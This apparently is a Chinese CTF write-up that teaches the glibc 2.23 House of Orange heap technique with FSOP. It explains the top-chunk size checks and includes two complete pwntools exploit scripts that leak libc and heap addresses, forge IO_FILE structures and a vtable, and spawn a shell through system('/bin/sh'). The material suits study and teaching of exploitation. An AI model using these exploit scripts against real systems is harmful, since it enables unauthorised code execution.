house of orange是在程序没有free函数的情况下,通过修改top_chunk的size,在下一次申请超过top_chunk的大小的chunk时,就会把top chunk释放掉,送入unorted bin中,这样一来我们就获得一个在unsorted bin中的堆块,而通常不单单只是利用house of orange手法,还要搭配着FSOP攻击
glibc 2.23 -- 2.26
- 可以进行 unsortedbin attack
- 可以触发FSOP
- unsortedbin attack
- 伪造IO结构体
- 触发FSOP
简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中
当程序调用malloc进行分配,fastbin、smallbins、unsorted bin、largebins等均不满足分配要求时,_int_malloc函数会试图使用 top chunk,当 top chunk 也不能满足分配的要求,因此会执行如下分支:
/* Otherwise, relay to handle system-dependent cases */ else { void *p = sysmalloc(nb, av); if (p != NULL && __builtin_expect (perturb_byte, 0)) alloc_perturb (p, bytes); return p; }
我们再申请的chunk大小不能大于mmap的分配阈值,以实现利用sysmalloc函数通过 brk 拓展top_chunk
sysmalloc 函数中存在对 top chunk size 的 check:
assert((old_top == initial_top(av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & pagemask) == 0));
top_chunk伪造的要求:
- 伪造的 size 必须要对齐到内存页
- size 要大于 MINSIZE(0x10)
- size 要小于之后申请的 chunk size + MINSIZE(0x10)
- size 的 prev inuse 位必须为 1
为什么要对齐到内存页:
现代操作系统都是以内存页为单位进行内存管理的,一般内存页的大小是 4kb(0x1000),那么伪造的 size 就必须要对齐到这个尺寸
可以看到原来的4000是对于4kb(0x1000)对齐的
我们修改size为0xfc1后,满足了对齐到内存页的条件
所以我们一般情况下,对top_chunk的伪造都是直接在原本size的基础上直接砍掉前面的0x20000,只保留后面的低位即可
之后top_chunk会通过执行_int_free进入 unsorted bin 中
默认都是保护全开
add:
edit:
edit功能没有对修改chunk大小进行限制,存在堆溢出漏洞
- 修改top_chunk的size,将其送入unsorted bin
- 分割top_chunk,以获取libc地址和heap地址
- 修改new_top_chunk大小,送入smallbin 的0x60部分
- 伪造IO结构体(_IO_list_all、IO_2_1_stderr、_IO_file_jumps)
- exit退出,触发FSOP
修改top_chunk的size,将其送入unsorted bin
首先申请一个小堆块,可以看到会一次性生成了3个相0x20大小的堆块
pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(0x40,pl)
通过堆溢出修改top_chunk的size
申请大于0xfa1大小的堆块,将top_chunk送入unsorted bin
分割top_chunk,以获取libc地址和heap地址
为了下面说明更加方便,我们将新分割出来的0x400大小的chunk命名为chunk1,被分割后的top_chunk命名为new_top_chunk
add(0x400,'c'*8) show() libc_base=l64()-0x3c5188 print('libc_base = '+hex(libc_base)) sys = libc_base + libc.sym['system'] io_list_all = libc_base + libc.sym['_IO_list_all'] edit(0x20,'d'*0x10) show() heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0xc0 print('heap_base = '+hex(heap_base))
伪造_IO_list_all
修改new_top_chunk大小,送入smallbin 的0x60部分
我们最后攻击后,会将main_arena+88/96地址写入_IO_list_all,劫持IO结构体
但是main_arena+88/96处地址是不受我们控制的,也就是说我们无法直接通过在main_arena+88/96处布置来伪造_IO_list_all
而main_arena+88/96地址+0x68处也就是_chain字段,恰好是smallbin的0x60段
这也就是意味着我们可以通过将chunk送入smallbin的0x60段来篡改_chain字段指向的IO_2_1_stdout
pl='f'*0x400 pl+=p64(0)+p64(0x21) pl+=p64(0)*2 #_IO_list_all #_IO_2_1_stderr_ pl+='/bin/sh\x00'+p64(0x61) ##&heap_base+0x4F0 pl+=p64(0)+p64(io_list_all-0x10) pl+=p64(0)+p64(1) pl+=p64(0)*7 pl+=p64(heap_base+0x4F0) pl+=p64(0)*13 pl+=p64(heap_base+0x4F0+0xD8) #_IO_file_jumps pl+=p64(0)*2+p64(sys) edit(0x1000,pl)
将分割后产生的chunk1和程序生成的chunk(0x20)填满后,再将new_top_chunk的size修改为0x60,将其送入smallbin的0x60部分
#_IO_list_all pl+='/bin/sh\x00'+p64(0x61) #&heap_base+0x4F0 pl+=p64(0)+p64(io_list_all-0x10) pl+=p64(0)+p64(1) pl+=p64(0)*7 pl+=p64(heap_base+0x4F0) #_chain
这样在攻击后,_IO_FILE_plus结构体的_chain就被篡改为了new_top_chunk的地址
也就是原本指向IO_2_1_stdout结构体的地址被我们篡改
伪造IO_2_1_stderr
#_IO_2_1_stderr_ pl+='/bin/sh\x00'+p64(0x61) ##&heap_base+0x4F0 pl+=p64(0)+p64(io_list_all-0x10) pl+=p64(0)+p64(1) pl+=p64(0)*7 pl+=p64(heap_base+0x4F0) pl+=p64(0)*13 pl+=p64(heap_base+0x5c8) #vtable
我们通过堆溢出在new_top_chunk地址伪造IO_2_1_stdout结构体
主要是将vtable表中原本指向_IO_jump_t结构体的地址篡改为&vtable
#_IO_file_jumps pl+=p64(0)*2+p64(sys)
申请新堆块来触发攻击
p.sendlineafter('Your choice : ',str(1))
#encoding = utf-8 from pwn import * from pwnlib.rop import * from pwnlib.context import * from pwnlib.fmtstr import * from pwnlib.util.packing import * from pwnlib.gdb import * from ctypes import * import os import sys import time import base64 #from ae64 import AE64 #from LibcSearcher import * context.os = 'linux' context.arch = 'amd64' #context.arch = 'i386' context.log_level = "debug" name = './pwn' debug = 0 if debug: p = remote('172.52.16.218',9999) else: p = process(name) libcso = '/lib/x86_64-linux-gnu/libc-2.23.so' #libcso = './libc-2.32.so' libc = ELF(libcso) #libc = elf.libc elf = ELF(name) s = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] def dbg(): gdb.attach(proc.pidof(p)[0]) pause() bss = elf.bss() def add(size,content): p.sendlineafter('Your choice : ',str(1)) p.sendlineafter('Length of name :',str(size)) p.sendafter('Name :',content) p.sendlineafter('Price of Orange:',str(1)) p.sendlineafter('Color of Orange:',str(2)) def edit(size,content): p.sendlineafter('Your choice : ',str(3)) p.sendlineafter('Length of name :',str(size)) p.sendafter('Name:',content) p.sendlineafter('Price of Orange:',str(1)) p.sendlineafter('Color of Orange:',str(2)) def delete(index): p.sendlineafter('4.show\n',str(2)) p.sendlineafter('index:\n',str(index)) def show(): p.sendlineafter('Your choice : ',str(2)) add(0x10,'a') pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1) edit(0x40,pl) add(0x1000,'b') add(0x400,'c'*8) show() libc_base=l64()-0x3c5188 print('libc_base = '+hex(libc_base)) sys = libc_base + libc.sym['system'] io_list_all = libc_base + libc.sym['_IO_list_all'] edit(0x20,'d'*0x10) show() heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0xc0 print('heap_base = '+hex(heap_base)) pl='f'*0x400 pl+=p64(0)+p64(0x21) pl+=p64(sys)+p64(0) pl+='/bin/sh\x00'+p64(0x61) ##&heap_base+0x4F0 pl+=p64(0)+p64(io_list_all-0x10) pl+=p64(0)+p64(1) pl+=p64(0)*7 pl+=p64(heap_base+0x4F0) pl+=p64(0)*13 pl+=p64(heap_base+0x5c8) pl+=p64(0)*2+p64(sys) edit(0x1000,pl) #dbg() p.sendlineafter('Your choice : ',str(1)) itr()
edit:
和前一个题利用点一样,也是存在一个堆溢出的漏洞
所给的libc版本也是2.23,直接放ubuntu16里打即可
和前一个题一样的攻击思路
add_idx = 1 edit_idx = 2 show_idx = 3 def choice(cho): sla('t >> ',cho) def add(idx,size): choice(add_idx) p.sendlineafter('input idx: ',str(idx)) p.sendlineafter('input size: ',str(size)) def edit(idx,size,content): choice(edit_idx) p.sendlineafter('input idx: ',str(idx)) p.sendlineafter('input size: ',str(size)) p.sendafter('input content: ',content) def show(idx): choice(show_idx) p.sendlineafter('input idx: ',str(idx)) add(0,0x10) add(1,0x10) pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xFC1) edit(0,0x40,pl) add(2,0x1000) add(3,0x400) show(3) libc_base=l64()-0x3c5188 print('libc_base = '+hex(libc_base)) edit(3,0x20,'a'*0x10) show(3) heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x40 print('heap_base = '+hex(heap_base)) IO_list_all=libc_base + libc.sym['_IO_list_all'] sys = libc_base + libc.sym['system'] pl='b'*0x400 pl+='/bin/sh\x00'+p64(0x61) pl+=p64(0)+p64(IO_list_all-0x10) pl+=p64(0)+p64(1) pl+=p64(0)*7 pl+=p64(heap_base+0x450) pl+=p64(0)*13 pl+=p64(heap_base+0x450+0xD8) pl+=p64(0)*2+p64(sys) edit(3,0x1000,pl) choice(add_idx) p.sendlineafter('input idx: ','4') p.sendlineafter('input size: ','1280') itr()
House of Orange - CTF Wiki (ctf-wiki.org)
关于house of orange(unsorted bin attack &&FSOP)的学习总结 - ZikH26 - 博客园 (cnblogs.com)